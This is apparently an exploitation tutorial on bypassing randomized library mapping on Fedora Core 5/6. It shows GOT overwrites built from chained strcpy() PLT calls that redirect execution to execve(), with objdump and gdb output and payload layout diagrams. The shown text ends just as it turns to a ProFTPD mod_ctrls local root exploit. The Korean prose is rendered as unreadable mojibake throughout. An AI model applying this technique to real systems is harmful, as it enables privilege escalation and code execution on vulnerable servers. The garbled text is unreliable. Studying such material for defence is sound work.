Á¦¸ñ: Fedora Core5,6 ½Ã½ºÅÛ remote ±â¹Ý ·£´ý ¸ÊÇÎ ¶óÀ̺귯¸® ¹«·ÂÈ­ ±â¹ý (random library ȯ°æ ±Øº¹À» ÅëÇÑ one shot exploit ÀÛ¼ºÇϱâ) Å×½ºÆ® ȯ°æ: Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org * Overview Áö±ÝºÎÅÍ ¼³¸íÇÏ·Á´Â ¹æ¹ýÀº ½ÇÀü¿¡¼­ À¯¿ëÇÏ°Ô È°¿ëÇÒ ¼ö ÀÖ´Â ·£´ý ¸ÊÇÎ ¶óÀ̺귯¸® ¹«·ÂÈ­ °ø°Ý ±â¹ýÀÌ´Ù. ±×·¸´Ù Áö±Ý±îÁö¿Í ¾à°£ ´Ù¸£°Ô ÀÌ ±â¼úÀº »õ·Ó´Ù. :-} ±×¸® ´ë´ÜÇÑ ¹æ¹ýÀº ¾Æ´ÏÁö¸¸, ³»°¡ ¼Ò°³Çß´ø FC5, FC6 ±â¹Ý dtors, GOT overflow °ø°Ý ±â¹ý°ú ÇÔ²² ÀÀ¿ëÇÏ¿© »ç¿ëÇÒ ¼ö ÀÖ´Â ±â¼úÀÌ´Ù. ÀÌ ¹®¼­¸¦ Àбâ Àü¿¡ ¸ÕÀú, ÇØ´ç ±â¼úÀ» »ìÆìÁÖ±æ ¹Ù¶õ´Ù. - Advanced exploitation in exec-shield (Fedora Core case study) ±×·³, ÇöÀç FC5, FC6 ½Ã½ºÅÛÀÇ ·£´ý ¸ÊÇÎ ¶óÀ̺귯¸®¸¦ °£´ÜÈ÷ »ìÆìº» ÈÄ, exploitÀ» ¼Ò°³Çϵµ·Ï ÇϰڴÙ. * randomization library FC ½Ã½ºÅÛÀº ÀüÅëÀûÀÎ return-into-libc °ø°Ý ±â¹ýÀ» Â÷´ÜÇϱâ À§ÇØ library ÁÖ¼Ò¸¦ ¸Å¹ø ½ÇÇà ½Ã¸¶´Ù ´Ù¸¥ À§Ä¡¸¦ °®´Â 16mb(0xffffff) ¹Ì¸¸ ÁÖ¼Ò¿¡ ¸ÊÇνÃŲ´Ù. À̰ÍÀº ºñ±³Àû È¿°úÀûÀ̸ç, remote exploit¿¡¼­ standalone daemon °ú °°ÀÌ ´Ü ÇѹøÀÇ °ø°Ý ½Ãµµ·Î Á×À» ¼ö ÀÖ´Â daemon applicationÀÇ º¸¾ÈÀ» °­È­ÇÏ°Ô µÇ¾ú´Ù. ÇØÄ¿¿¡ ÀÇÇØ DoS°¡ ¹ß»ýÇÒÁö¶óµµ, Àû¾îµµ ÇØÄ¿ÀÇ code°¡ ½ÇÇàµÇ´Â ÀÏÀº Çã¶ôµÇÁö ¾Ê±â ¶§¹®ÀÌ´Ù. ±×¸®°í, ÀÌ¿Í À¯»çÇÑ º¸È£ ¾Ë°í¸®ÁòÀº ÃÖ±Ù 2007³â ÃÊ Unix, Linux OS¸¦ ¹þ¾î³ª Windows OS¿¡µµ Àû¿ëµÇ¾ú´Ù. (À̰ÍÀº ¾ÆÁ÷±îÁö ³ªÀÇ °ü½É´ë»ó ¹ÛÀ̹ǷÎ, ´õÀÌ»ó ¾ð±ÞÇÏÁö ¾Ê°Ú´Ù.) ´ç½ÅÀÇ ½Ã½ºÅÛ library°¡ Á¦´ë·Î randomÇÏ°Ô ¸ÊÇεǴÂÁö ¾Ë±â À§ÇØ ´ÙÀ½ ¸í·ÉÀ¸·Î È®ÀÎÇØº¼ ¼ö ÀÖ´Ù. -- [root@localhost tmp]# ldd /usr/bin/[ linux-gate.so.1 => (0x00cc4000) libc.so.6 => /lib/libc.so.6 (0x0040d000) /lib/ld-linux.so.2 (0x0060e000) [root@localhost tmp]# ldd /usr/bin/[ linux-gate.so.1 => (0x00232000) libc.so.6 => /lib/libc.so.6 (0x00233000) /lib/ld-linux.so.2 (0x00557000) [root@localhost tmp]# ldd /usr/bin/[ linux-gate.so.1 => (0x009e7000) libc.so.6 => /lib/libc.so.6 (0x00ba5000) /lib/ld-linux.so.2 (0x001fa000) [root@localhost tmp]# -- libc.so.6 °¡»ó ÁÖ¼Ò°¡ ¸Å¹ø ´Ù¸£°Ô ¸ÊÇεǴ °ÍÀ» º¼ ¼ö ÀÖ´Ù. return-into-libc °ø°Ý ±â¹ýÀ¸·Î´Â µµÀúÈ÷ Çѹø¿¡ °ø°ÝÀ» ¼º°ø½ÃŰ±â¿£ Èûµé¾î º¸ÀδÙ. ±×·³, exploitÀ» À§ÇÑ ¹è°æ ¼³¸í°ú exploit ¹æ¹ýÀ» ¼Ò°³Çϵµ·Ï ÇϰڴÙ. * ¼º°øÀûÀÎ exploitÀ» À§ÇÑ ¹è°æ ¼³¸í - dtors, GOT overflow (or overrun, overwrite) in Fedora core 5,6 ¸ÕÀú, dtors, GOT overflow °ø°Ý ±â¹ý¿¡ ´ëÇÑ ±âº»À» ¼³¸íÇÑ ÈÄ, ·£´ý ¸ÊÇÎ library exploit ¹æ¹ý¿¡ ´ëÇØ ¹è°æ ±â¼úÀ» ¼³¸íÇϵµ·Ï ÇϰڴÙ. ³ªÀÇ ÀÌÀü ¹®¼­¿¡¼­ ¼³¸íÇßµíÀÌ ±×°ÍÀº 12byte %esp ·¹Áö½ºÅÍ À̵¿ ¹æ¹ýÀ» ÅëÇØ °ø°ÝÇÑ´Ù. º¹»ç ÇÔ¼öÀÎ strcpy()¿Í °°Àº ÇÔ¼ö¸¦ ÅëÇØ ¿øÇÏ´Â À§Ä¡¿¡ ¿øÇÏ´Â °ªÀ» µ¤¾î¾º¿ì´Â ¹æ¹ýÀÌ´Ù. À̰ÍÀº nergal¿¡ ÀÇÇØ óÀ½ Áõ¸íµÇ¾úÀ¸¸ç, ³ªÀÇ ¹®¼­¸¦ ÅëÇØ FC5, FC6¿¡¼­ ÀÀ¿ë °ø°ÝÀÌ °¡´ÉÇÏ´Ù´Â »ç½ÇÀ» ¹àÈù ¹ÙÀÖ´Ù. -- fedora core 6 glibc 2.5, gcc 4.1.1-30: <__do_global_ctors_aux>: ... add $0x4,%esp pop %ebx ; ÀÌ ºÎºÐºÎÅÍ ÃÑ 12byte %esp À̵¿ pop %ebp ret ; pop %eip +------------------------------+ | strcpy() function plt | #1: ù ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (dtors³ª ƯÁ¤ ÇÔ¼ö GOT)+0 |: strcpy()'s dest +------------------------------+ | µ¤¾î¾º¿ì°íÀÚ ÇÏ´Â ¹®ÀÚ 1byte |: strcpy()'s src +------------------------------+ | strcpy() function plt | #2: µÎ ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (dtors³ª ƯÁ¤ ÇÔ¼ö GOT)+1 |: strcpy()'s dest +------------------------------+ | µ¤¾î¾º¿ì°íÀÚ ÇÏ´Â ¹®ÀÚ 1byte |: strcpy()'s src +------------------------------+ | strcpy() function plt | #3: ¼¼ ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (dtors³ª ƯÁ¤ ÇÔ¼ö GOT)+2 |: strcpy()'s dest +------------------------------+ | µ¤¾î¾º¿ì°íÀÚ ÇÏ´Â ¹®ÀÚ 1byte |: strcpy()'s src +------------------------------+ ... -- ÀÌ·¸°Ô ±¸¼ºµÈ 16byte´Â ¿øÇÏ´Â À§Ä¡¿¡ ´Ü 1byte¸¦ º¹»çÇϴµ¥ »ç¿ëµÈ´Ù. Áï, dtors³ª GOT¿¡ ¿øÇÏ´Â ÁÖ¼Ò¸¦ ³ÖÀ¸·Á¸é, ÃÖ¼Ò 3~4ȸ strcpy()¸¦ plt¸¦ ÅëÇØ È£ÃâÇØ¾ß ÇÑ´Ù´Â À̾߱âÀÌ´Ù. ÃÖ¼Ò 48byte(3ȸ) Á¤µµ°¡ ¿øÇÏ´Â ÁÖ¼Ò¸¦ µ¤¾î¾º¿ì±â À§ÇØ »ç¿ëµÈ´Ù°í ÇÒ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô µ¤¾î¾º¿î ÁÖ¼Ò¸¦ Ȱ¿ëÇϱâ À§ÇØ ÀÓÀÇ·Î ÇÁ·Ñ·Î±× Á÷ÈÄÀÇ __do_global_dtors_aux() À§Ä¡¸¦ È£ÃâÇϰųª, GOT¸¦ µ¤¾î¾º¿î ÇÔ¼öÀÇ PLT¸¦ È£ÃâÇØÁÖ¸é µÈ´Ù. ÀÌ´Â °á±¹ ÇöÀç »ç¿ë ÁßÀÎ %esp ·¹Áö½ºÅÍ À§Ä¡¸¦ ÂüÁ¶ÇÏ¿© ¿øÇÏ´Â ÇÔ¼ö È£ÃâÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇØÁØ´Ù. -- ... +------------------------------+ | PLT, __do_global_dtors_aux() |: ÇÁ·Ñ·Î±×¸¦ °ÅÄ£ __do_global_dtors_aux(), ¶Ç´Â µ¤¾î¾º¿öÁø GOT¿¡ ÇØ´çÇÏ´Â PLT +------------------------------+ ... +------------------------------+ | function argument 1 |: %esp ·¹Áö½ºÅÍ ±Ùó¿¡ À§Ä¡ÇÏ´Â ÇÔ¼ö ÀÎÀÚ #1 +------------------------------+ | function argument 2 |: %esp ·¹Áö½ºÅÍ ±Ùó¿¡ À§Ä¡ÇÏ´Â ÇÔ¼ö ÀÎÀÚ #2 +------------------------------+ | function argument 3 |: %esp ·¹Áö½ºÅÍ ±Ùó¿¡ À§Ä¡ÇÏ´Â ÇÔ¼ö ÀÎÀÚ #3 +------------------------------+ ... -- °á·ÐÀûÀ¸·Î %esp ·¹Áö½ºÅÍ ±Ùó¿¡ À§Ä¡ÇÏ´Â °ªµéÀ» Çڵ鸵ÇÒ ¼ö ÀÖÀ¸¹Ç·Î, ½±°Ô ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ±¸¼ºÇØÁÙ ¼ö ÀÖ´Ù. - randomization library ¹è°æ Áö½Ä ¶óÀ̺귯¸® ÇÔ¼öÀÇ °¡»ó ÁÖ¼Ò´Â Ç×»ó ½ÇÁ¦ ¹ÙÀ̳ʸ® ³»¿¡ ÇÔ¼ö ¹°¸® ÁÖ¼Ò À§Ä¡(¿ÀÇÁ¼Â)¸¦ ±âÁØÀ¸·Î ÇÏ¿© °áÁ¤µÈ´Ù. Áï, libc.so ¶óÀ̺귯¸®°¡ ¸ÊÇÎµÈ °¡»ó ÁÖ¼Ò ½ÃÀۺκаú ¹ÙÀ̳ʸ® ³»¿¡ ÇÔ¼öÀÇ ½ÇÁ¦ ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀ» ´õÇÏ¿© °è»êµÇ´Â °ÍÀÌ´Ù. -- a() ÇÔ¼öÀÇ °¡»ó ÁÖ¼Ò = libc.so.6ÀÇ °¡»ó ÁÖ¼Ò ½ÃÀÛ À§Ä¡ + libc.so.6 ³»¿¡ a() ÇÔ¼ö ½ÇÁ¦ ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼Â -- ÀÌ ³»¿ëÀº °øÀ¯ ¶óÀ̺귯¸® ÇÔ¼ö Àç¹èÄ¡ ºÎºÐÀ» °øºÎÇÏ¸é ½±°Ô ¾Ë ¼ö ÀÖ´Ù. _dl_fixup() ÇÔ¼ö¸¦ ÀÚ¼¼È÷ »ìÆìº¸±â ¹Ù¶õ´Ù. À§ÀÇ °è»ê´ë·Î Á÷Á¢ execve() ÇÔ¼ö ÁÖ¼Ò¸¦ ±¸Çغ¸¸é ´ÙÀ½°ú °°´Ù. -- [root@localhost tmp]# objdump -d /lib/libc.so.6 | grep ":" 0008dc00 : [root@localhost tmp]# xxd /lib/libc.so.6 |grep 8dc00 008dc00: 83ec 0889 1c24 8b4c 2410 897c 2404 8b54 .....$.L$..|$..T [root@localhost tmp]# gdb /lib/libc.so.6 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) x/16b execve 0x8dc00 : 0x83 0xec 0x08 0x89 0x1c 0x24 0x8b 0x4c 0x8dc08 : 0x24 0x10 0x89 0x7c 0x24 0x04 0x8b 0x54 (gdb) x/w execve 0x8dc00 : 0x8908ec83 (gdb) -- ¸ÕÀú, libc.so.6 ¹ÙÀ̳ʸ® ³»¿¡ ½ÇÁ¦ execve() ÇÔ¼ö ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀº 0x8dc00ÀÎ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ¹ÙÀ̳ʸ® ³»¿¡¼­ ½ÇÇà ÈÄ, ¸ÊÇÎµÈ ÇÔ¼öÀÇ °¡»ó ÁÖ¼Ò¿Í ºñ±³Çغ¸µµ·Ï ÇϰڴÙ. -- [root@localhost tmp]# cat test.c int main() { return 0x82; } [root@localhost tmp]# gcc -o test test.c [root@localhost tmp]# gdb test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) br main Breakpoint 1 at 0x8048332 (gdb) r Starting program: /var/tmp/test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048332 in main () (gdb) shell [root@localhost tmp]# 1836 pts/0 00:00:00 test [root@localhost tmp]# cat /proc/1836/maps | grep libc 00e9d000-00fd4000 r-xp 00000000 fd:00 4251545 /lib/libc-2.5.so <<=== °¡»ó ÁÖ¼Ò ½ÃÀÛ 00fd4000-00fd6000 r-xp 00137000 fd:00 4251545 /lib/libc-2.5.so 00fd6000-00fd7000 rwxp 00139000 fd:00 4251545 /lib/libc-2.5.so [root@localhost tmp]# exit exit (gdb) x 0x00e9d000+0x8dc00 <<=== °¡»ó ÁÖ¼Ò ½ÃÀÛ ºÎºÐ°ú ¾Õ¼­ ¹ÙÀ̳ʸ® ³»ÀÇ ÇÔ¼ö ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀ» ´õÇÔ. 0xf2ac00 : 0x8908ec83 (gdb) -- ÀÌ·¸°Ô, °¡»ó ÁÖ¼Ò´Â Ç×»ó º¯Çϸç, ¹ÙÀ̳ʸ® ³»ÀÇ ÇÔ¼ö ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀº Á¤ÀûÀÎ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×·³, ÀÌÁ¦ ¾î¶² exploitÀ» ½ÃµµÇغ¼ ¼ö ÀÖÀ»±î? * randomization library break °ø°ÝÀÇ ÇÙ½ÉÀº ÀÌ·¸´Ù. ¿ì¼±, ÇÁ·Î±×·¥ ¹ÙÀ̳ʸ® ³»¿¡¼­ execve() ÇÔ¼öÀÇ ½ÇÁ¦ ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼Â°ú °¢ 1byte¾¿ µ¿ÀÏÇÑ ´Ù¸¥ ÇÔ¼öÀÇ ¹°¸® ÁÖ¼Ò¸¦ ã´Â °ÍÀÌ´Ù. ¿¹¸¦ µé¾î execve() ÇÔ¼ö ÁÖ¼Ò°¡ 0x8dc00 À̶ó¸é, ÀÌ ÁÖ¼Ò¸¦ ÀÌ·ç´Â °¢ 1byte¾¿À» (0x08, 0xdc, 0x00) ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀÌ µ¿ÀÏÇÑ ´Ù¸¥ ÇÔ¼ö ÁÖ¼Ò¿¡¼­ ¾ò¾î¿Ã ¼ö ÀÖ´Ù. ÀÌ·¸°Ô ÀÓÀÇ·Î Á¶ÇÕµÈ ¹°¸® ÁÖ¼Ò´Â Ç×»ó °¡»ó ÁÖ¼Ò ½ÃÀÛ ºÎºÐ°ú ´õÇØÁö¹Ç·Î, ±¸Áö ·£´ýÇÏ°Ô º¯ÇÏ´Â ÇÔ¼öÀÇ Àüü °¡»ó ÁÖ¼Ò¸¦ Á÷Á¢ ÃßÃøÇÒ Çʿ䰡 ¾ø´Ù. °á±¹, °¡»ó ÁÖ¼Ò°¡ ´Ã ·£´ýÇÏ°Ô º¯ÇÏ´õ¶óµµ ÀÌ¿Í »ó°ü¾øÀÌ ¿øÇÏ´Â ¶óÀ̺귯¸® ÇÔ¼ö¸¦ È£ÃâÇÒ ¼ö ÀÖ´Â °ÍÀÌ´Ù. °ø°ÝÀÚ°¡ ¸Å¹ø º¯ÇÏ´Â execve() ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ¸ð¸¦Áö¶óµµ ´Ù¸¥ ÇÔ¼ö ÁÖ¼Ò¸¦ ÅëÇØ ±¸ÇØÁø ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀº °¡»ó ÁÖ¼Ò ½ÃÀÛ ºÎºÐ°ú ´õÇØÁ® ¼º°øÀûÀ¸·Î ¼öÇàµÈ´Ù. :-} libc.so.6 ¹ÙÀ̳ʸ®¿¡¼­ Á÷Á¢ ã¾Æº¸¸é ´ÙÀ½°ú °°´Ù. -- (execve()>>16)&0xff == 0x08 1byte¿Í ÀÏÄ¡ÇÏ´Â ÇÔ¼ö ¸ñ·Ï: [root@localhost tmp]# objdump -d /lib/libc.so.6 | grep ">:" | grep 0008 | grep -v .L 00080000 <__tzfile_compute>: 00080320 <__tzfile_read>: 00080f60 <__tzfile_default>: 00081170 : 000811b0 : 000811f0 : 00081230 : 00081280 : 000812c0 : 00081340 : 000818c0 : 00081920 : 00081970 <__strptime_internal>: 00084470 : 000844c0 : 00084510 : 00084560 <__strftime_l>: 000866f0 <__wcsftime_l>: 00088b20 <_nl_init_era_entries>: 00088d90 <_nl_select_era_entry>: 00088de0 <_nl_get_era_entry>: 00088f30 <_nl_parse_alt_digit>: 00089100 <_nl_get_walt_digit>: 00089250 <_nl_get_alt_digit>: 00089410 <_nl_cleanup_time>: 00089480 : 000894e0 <__alloc_dir>: 000895b0 : 00089650 : 000896a0 : 00089770 : 000898a0 : 00089920 : 000899a0 : 000899b0 : 00089a10 : 00089c00 : 00089c30 : 00089c60 <__getdents>: 00089d20 <__getdents64>: 00089d80 <__old_getdents64>: 00089f40 : 0008a150 : 0008a400 : 0008a4b0 : 0008a510 : 0008a590 : 0008a750 : 0008a980 : 0008abf0 : 0008aca0 : 0008ad40 : 0008ad90 : 0008ae50 : 0008afa0 : 0008b0f0 : 0008b470 : 0008b520 : 0008ba10 <_nss_files_parse_grent>: 0008bcf0 : 0008bf70 : 0008c120 : 0008c200 : 0008c340 : 0008c400 : 0008c550 : 0008c790 : 0008c840 : 0008cd30 <_nss_files_parse_pwent>: 0008d040 : 0008d290 : 0008d2d0 : 0008d310 <__wait>: 0008d3d0 <__waitpid>: 0008d3da <__waitpid_nocancel>: 0008d450 : 0008d480 : 0008d4d0 : 0008d590 : 0008d5d0 : 0008d840 : 0008d84a <__pause_nocancel>: 0008d8a0 <__nanosleep>: 0008d8aa <__nanosleep_nocancel>: 0008d920 <__fork>: 0008db90 <__vfork>: 0008dbe4 <_exit>: 0008dc00 : 0008dc60 : 0008dd60 : 0008dda0 : 0008df20 : 0008e080 : 0008e420 : 0008e570 <__getpid>: 0008e5b0 : 0008e5c0 : 0008e5e0 : 0008e600 : 0008e620 : 0008e640 : 0008e690 : 0008e700 : 0008e770 : 0008e800 <__getpgid>: 0008e840 <__setpgid>: 0008e880 : 0008e890 <__bsd_getpgrp>: 0008e8b0 : 0008e8d0 : 0008e910 : 0008e950 : 0008e9b0 : 0008ea10 : 0008ea90 : 0008eb10 : 0008ebf0 : 0008ed60 : 0008ed90 <__statfs_link_max>: 0008ee80 <__statfs_filesize_max>: 0008ef30 <__statfs_symlinks>: 0008efe0 : 0008f1c0 : 0008f200 : 0008f220 : 0008f350 <__sysconf_check_spec>: 0008f430 : 0008f920 <__sysconf>: 0008fd10 : 0008ff10 : 0008ffb0 : (execve()>>8)&0xff == 0xdc 1byte¿Í ÀÏÄ¡ÇÏ´Â ÇÔ¼ö ¸ñ·Ï: [root@localhost tmp]# objdump -d /lib/libc.so.6 | grep ">:" | grep dc | grep -v .L 000230e0 <__dcgettext>: 00023cc0 <__dcigettext>: 00024470 : 0005dc70 : // Ȱ¿ë °¡´É 0005edc0 <_IO_file_seekoff_maybe_mmap>: 0006cdc0 : 0006da00 <_wordcopy_fwd_aligned>: 0006db00 <_wordcopy_fwd_dest_aligned>: 0006dc50 <_wordcopy_bwd_aligned>: // Ȱ¿ë °¡´É 0006dd60 <_wordcopy_bwd_dest_aligned>: 0007dc40 <__offtime>: // Ȱ¿ë °¡´É 0008dc00 : 0008dc60 : 000b1dc0 : 000b6dc0 : 000bb9e0 : 000bdcd0 : 000c9dc0 : 000cadc0 : 000cdc30 : // Ȱ¿ë °¡´É 000cdc70 : // Ȱ¿ë °¡´É 000cdcc0 : // Ȱ¿ë °¡´É 000cfdc0 : 000dc410 <__res_ninit>: 000dc440 <__res_nclose>: 000dc570 <_res_hconf_trim_domain>: 000dc600 <_res_hconf_trim_domains>: 000dc670 <_res_hconf_reorder_addrs>: 000dc8c0 : 000dc9d0 : 000dcc30 : 000edcf0 : // Ȱ¿ë °¡´É 000f2450 : 000f4dc0 : 000f5dc0 : 000f7dc0 : 000fdc00 <__nscd_getgrgid_r>: // Ȱ¿ë °¡´É 000fdc70 <__nscd_getgrnam_r>: // Ȱ¿ë °¡´É 000fdcc0 : // Ȱ¿ë °¡´É 00101dc0 : [root@localhost tmp]# (execve()>>0)&0xff == 0x00 1byte¿Í ÀÏÄ¡ÇÏ´Â ÇÔ¼ö ¸ñ·Ï: ÇÔ¼öÀÇ ¸¶Áö¸· 1byte´Â ½ÇÁ¦ ¹°¸® ÁÖ¼Ò À§Ä¡(¿ÀÇÁ¼Â)¿Í µ¿ÀÏÇÏ°Ô ¸ÊÇεǹǷÎ, ±¸Áö ¶óÀ̺귯¸® ÇÔ¼ö ³»¿¡¼­ ±¸ÇØÁÙ Çʿ䰡 ¾ø´Ù. -- °á·ÐÀûÀ¸·Î execve() (0x08dc00) ÇÔ¼öÀÇ ¹°¸® ÁÖ¼Ò ¿ÀÇÁ¼ÂÀ» ¿Ï¼ºÇϱâ À§ÇØ getuid() (0x08e5c0) ÇÔ¼öÀÇ GOT 1byte¿Í accept() (0x0cdcc0) ÇÔ¼öÀÇ GOT 1byte, heap °ø°£ÀÇ null 1byte, ÃÑ 48byteÀÇ °ø°Ý Äڵ带 ÀÛ¼ºÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ¾Õ¼­ ¼³¸íÇß´ø GOT overflow exploitÀ» ÅëÇØ ½±°Ô Àû¿ëÇÒ ¼ö ÀÖÀ¸¸ç, ÀÌ ÇÔ¼öµéÀº ·±Å¸ÀÓ ¸µÄ¿¿¡ ÀÇÇØ ½Éº¼ÀÌ ÇØ¼®µÈ ÈÄ(Àç¹èÄ¡ ÀÌÈÄ)ºÎÅÍ È°¿ëÀÌ °¡´ÉÇÏ´Ù. -- * »õ·Î ÀÛ¼ºµÈ °ø°Ý ÄÚµå: +------------------------------+ | strcpy() function plt | #1: ù ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (__libc_start_main GOT)+0 |: (__libc_start_main()'s GOT>>0)&0xff +------------------------------+ | null 1byte pointer |: ELF header null pointer +------------------------------+ | strcpy() function plt | #2: µÎ ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (__libc_start_main GOT)+1 |: (__libc_start_main()'s GOT>>8)&0xff +------------------------------+ | accept()'s GOT 1byte pointer |: (accept()'s GOT>>8)&0xff +------------------------------+ | strcpy() function plt | #3: ¼¼ ¹øÂ° º¹»ç ÇÔ¼ö »ç¿ë +------------------------------+ | Àü¿ª »ý¼ºÀÚ ctors epilogue | +------------------------------+ | (__libc_start_main GOT)+2 |: (__libc_start_main()'s GOT>>16)&0xff +------------------------------+ | getuid()'s GOT 1byte pointer |: (getuid()'s GOT>>16)&0xff +------------------------------+ | __libc_start_main PLT | +------------------------------+ | dummy 4byte |: callÀÌ ¾Æ´Ñ jmp¸¦ ÅëÇØ È£ÃâÇϹǷÎ. +------------------------------+ | execve()'s argument #1 |: execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ +------------------------------+ | execve()'s argument #2 |: execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ +------------------------------+ | execve()'s argument #3 |: execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ +------------------------------+ strcpy() ÇÔ¼ö¸¦ ÅëÇØ __libc_start_main() ÇÔ¼öÀÇ GOT¸¦ 16mb ¹Ì¸¸ÀÇ execve() ÇÔ¼ö °¡»ó ÁÖ¼Ò·Î º¯°æÇßÀ¸¹Ç·Î, __libc_start_main() ÇÔ¼öÀÇ PLT Äڵ带 È£ÃâÇϸé, °ð¹Ù·Î execve() ÇÔ¼ö·Î jmp µÇ¸ç, ¿ì¸®°¡ ¹èÄ¡ÇØÁØ ÀÎÀÚµéÀ» ±×´ë·Î Âü°íÇÏ¿© ¼öÇàµÈ´Ù. -- * ½ÇÁ¦ remote/local exploit ¸ðµç °ø°Ý ±â¹ýÀº ½ÇÁ¦ exploit¿¡ Àû¿ëµÇ±â À§ÇØ °³¹ßµÇ¾îÁø´Ù. ÀÌ ¹æ¹ý ¿ª½Ã ¿©·¯ standalone daemonµéÀ» °ø°ÝÇϱâ À§ÇØ °í¾ÈµÇ°í °³¹ßµÈ °ÍÀÌ´Ù. - proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit (1) Overview Core Security Technologies¿¡¼­´Â 2006³â 12¿ù, mod_ctrls°¡ Ȱ¼º ÁßÀÎ proftpd 1.3.0, 1.3.0a ¹öÀü¿¡¼­ stack overflow Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °ÍÀ» ¹ß°ßÇÏ¿´´Ù. Advisory URL: http://www.coresecurity.com/?module=ContentMod&action=item&id=1594 ³»°¡ °ü½ÉÀÖ´Â »çÇ×Àº ÃÖ±Ù ¸î ³â°£ exec-shield¸¦ »ç¿ëÇÏ´Â RedHat °è¿­ ¿î¿µÃ¼Á¦¿¡ ´ëÇÑ standalone daemon exploitÀÌ °ÅÀÇ ¾ø´Ù´Â »ç½ÇÀÌ´Ù. °Ô´Ù°¡ ±×°ÍÀº ¿¹Àü exploitµé¿¡ ºñÇØ À̽ļº°ú ¹ü¿ë¼ºÀÌ ¶³¾îÁö¸ç, ´Ü Çѹø¿¡ °ø°ÝÀ» ¼º°ø½ÃÄÑ¾ß µÇ´Â exploit µÇ±â Èûµç ¸î °¡Áö ³­°üµéÀÌ Á¸ÀçÇϰí ÀÖ´Ù. ÀÌ·¸µí exec-shield¸¦ »ç¿ë ÁßÀÎ RedHat ½Ã½ºÅÛ¿¡¼­ stack ±â¹Ý overflow ±â¹ýÀ¸·Î Çѹø¿¡ °ø°Ý¿¡ ¼º°øÇÒ È®·üÀº ±×¸® ³ôÁö ¾Ê´Ù. À̰ÍÀº ±×µ¿¾È ¸¹Àº Àü¹®°¡µé¿¡ ÀÇÇØ Áõ¸íµÇ¾ú°í, ±× °á°ú exec-shield¸¦ »ç¿ëÇÏ´Â ¿î¿µÃ¼Á¦ÀÇ remote exploitÀÌ ÁÙ¾îµç °Íµµ »ç½ÇÀÌ´Ù. ±×·³, º»°ÝÀûÀ¸·Î proftpd Ãë¾àÁ¡¿¡ ´ëÇØ ¼³¸íÇϵµ·Ï ÇϰڴÙ. --enable-ctrls ¿É¼ÇÀÌ È°¼ºµÈ proftpd 1.3.0°ú 1.3.0a ¹öÀüÀº local exploitÀÌ °¡´ÉÇÏ´Ù. ´Ù¸¸, ±×°ÍÀÌ standalone daemonÀ» »ó´ëÇÏ´Â exploitÀ̶ó´Â Á¡¿¡¼­ remote exploit ¸¸Å­ ¼º°ø½ÃŰ±â ¾î·Æ´Ù°í º¼ ¼ö ÀÖ´Ù. ¿É¼ÇÀÌ È°¼º »óÅÂÀÎÁö ftpdctl ¸í·ÉÀ» ÅëÇØ È®ÀÎ °¡´ÉÇÏ´Ù. --enable-ctrls ¿É¼ÇÀÌ È°¼ºµÈ °æ¿ì: -- $ /usr/local/bin/ftpdctl -h usage: ftpdctl [options] -h displays this message -s specify an alternate local socket -v displays more verbose information $ -- ºñȰ¼º »óÅÂÀÎ °æ¿ì: -- $ ./ftpdctl -h ftpdctl: Controls support disabled. Please recompile proftpd using --enable-ctrls $ -- mod_ctrls¿¡ ´ëÇØ ´õ ÀÚ¼¼ÇÑ »çÇ×Àº ´ÙÀ½ URLÀ» Âü°íÇϱ⠹ٶõ´Ù. http://www.castaglia.org/proftpd/modules/mod_ctrls.html (2) Vulnerable Packages proftpd-1.3.0 (stable) - mod_ctrls compiled proftpd-1.3.0a (stable) - mod_ctrls compiled (3) Exploit ¿ì¼±, exploitÀÌ °¡´ÉÇÑ Á¶°ÇÀº ¾Õ¼­ ¼³¸íÇѵ¥·Î configure --enable-ctrls ¿É¼ÇÀ» Æ÷ÇÔÇÏ¿© ¼³Ä¡µÇ¾ß ÇÑ´Ù´Â Á¡ÀÌ´Ù. ±×¸®°í °ø°ÝÀÚ´Â local °èÁ¤À» °¡Áö°í ÀÖ¾î¾ß ÇÑ´Ù. À̰ÍÀº µð¹ö±ëÀÌ °¡´ÉÇÑ 